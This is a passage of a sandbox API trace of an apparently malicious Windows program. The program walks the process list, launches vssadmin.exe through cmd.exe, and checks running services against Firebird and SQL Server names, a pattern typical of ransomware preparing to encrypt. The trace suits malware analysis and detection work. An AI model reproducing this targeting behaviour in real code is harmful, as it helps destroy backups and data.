lstrlenW (lpString="svchost.exe") returned 11 [0150.702] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.703] lstrlenW (lpString="svchost.exe") returned 11 [0150.703] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.704] lstrlenW (lpString="svchost.exe") returned 11 [0150.704] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.705] lstrlenW (lpString="svchost.exe") returned 11 [0150.705] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.706] lstrlenW (lpString="svchost.exe") returned 11 [0150.707] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.708] lstrlenW (lpString="svchost.exe") returned 11 [0150.708] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.709] lstrlenW (lpString="svchost.exe") returned 11 [0150.709] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0150.710] lstrlenW (lpString="spoolsv.exe") returned 11 [0150.710] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.711] lstrlenW (lpString="svchost.exe") returned 11 [0150.711] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.269] lstrlenW (lpString="svchost.exe") returned 11 [0151.269] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0151.270] lstrlenW (lpString="audiodg.exe") returned 11 [0151.270] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0151.272] lstrlenW (lpString="sihost.exe") returned 10 [0151.272] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.273] lstrlenW (lpString="svchost.exe") returned 11 [0151.273] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0151.274] lstrlenW (lpString="taskhostw.exe") returned 13 [0151.274] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0151.275] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0151.275] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0151.276] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0151.276] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0151.277] lstrlenW (lpString="explorer.exe") returned 12 [0151.277] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0151.278] lstrlenW (lpString="Memory Compression") returned 18 [0151.278] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0151.279] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0151.279] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0151.280] lstrlenW (lpString="SearchUI.exe") returned 12 [0151.281] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0151.282] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0151.282] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0151.283] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0151.283] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0151.284] lstrlenW (lpString="UsoClient.exe") returned 13 [0151.284] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0151.285] lstrlenW (lpString="msoia.exe") returned 9 [0151.285] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0151.286] lstrlenW (lpString="taskhostw.exe") returned 13 [0151.286] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0151.287] lstrlenW (lpString="msoia.exe") returned 9 [0151.288] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0151.289] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0151.289] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0151.290] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0151.290] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0151.291] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0151.291] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0151.293] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0151.293] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0151.294] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0151.294] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0151.295] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0151.295] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0151.296] lstrlenW (lpString="concerned venture.exe") returned 21 [0151.296] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0151.297] lstrlenW (lpString="organizingscsi.exe") returned 18 [0151.297] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0151.298] lstrlenW (lpString="airplane placing.exe") returned 20 [0151.298] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0151.299] lstrlenW (lpString="circus.exe") returned 10 [0151.299] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0151.300] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0151.300] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0151.301] lstrlenW (lpString="das.exe") returned 7 [0151.301] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0151.535] lstrlenW (lpString="beam removable.exe") returned 18 [0151.535] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0151.536] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0151.536] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0151.536] lstrlenW (lpString="dome.exe") returned 8 [0151.536] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0151.537] lstrlenW (lpString="wiresjacket.exe") returned 15 [0151.537] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0151.538] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0151.538] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0151.539] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0151.539] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0151.540] lstrlenW (lpString="tested.exe") returned 10 [0151.540] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0151.541] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0151.541] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0151.542] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0151.542] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0151.543] lstrlenW (lpString="level.exe") returned 9 [0151.543] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0151.544] lstrlenW (lpString="dllhost.exe") returned 11 [0151.544] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0151.545] lstrlenW (lpString="conhost.exe") returned 11 [0151.545] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0151.546] lstrlenW (lpString="conhost.exe") returned 11 [0151.546] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.547] lstrlenW (lpString="svchost.exe") returned 11 [0151.547] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0151.548] lstrlenW (lpString="load0.exe") returned 9 [0151.548] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0151.549] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0151.549] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0151.549] lstrlenW (lpString="conhost.exe") returned 11 [0151.549] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0151.565] lstrlenW (lpString="cmd.exe") returned 7 [0151.565] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0151.567] lstrlenW (lpString="conhost.exe") returned 11 [0151.567] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.568] lstrlenW (lpString="svchost.exe") returned 11 [0151.568] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0151.569] lstrlenW (lpString="vssadmin.exe") returned 12 [0151.569] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0151.570] lstrlenW (lpString="LogonUI.exe") returned 11 [0151.570] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0151.573] lstrlenW (lpString="sppsvc.exe") returned 10 [0151.573] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0151.574] CloseHandle (hObject=0x108c) returned 1 [0151.574] Sleep (dwMilliseconds=0x1f4) [0152.410] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e36e0 [0152.412] EnumServicesStatusExW (in: hSCManager=0x5e36e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0152.413] GetLastError () returned 0xea [0152.413] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1dbc) returned 0x64cc50 [0152.413] EnumServicesStatusExW (in: hSCManager=0x5e36e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64cc50, cbBufSize=0x1dbc, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64cc50, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0152.413] CloseServiceHandle (hSCObject=0x5e36e0) returned 1 [0152.413] lstrlenW (lpString="Appinfo") returned 7 [0152.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0152.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0152.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0152.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0152.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0152.414] lstrlenW (lpString="AppXSvc") returned 7 [0152.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0152.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0152.414] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0152.414] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0152.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0152.414] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0152.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0152.414] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0152.414] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0152.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0152.414] lstrlenW (lpString="Audiosrv") returned 8 [0152.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0152.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0152.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0152.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0152.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0152.414] lstrlenW (lpString="BFE") returned 3 [0152.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0152.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0152.415] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 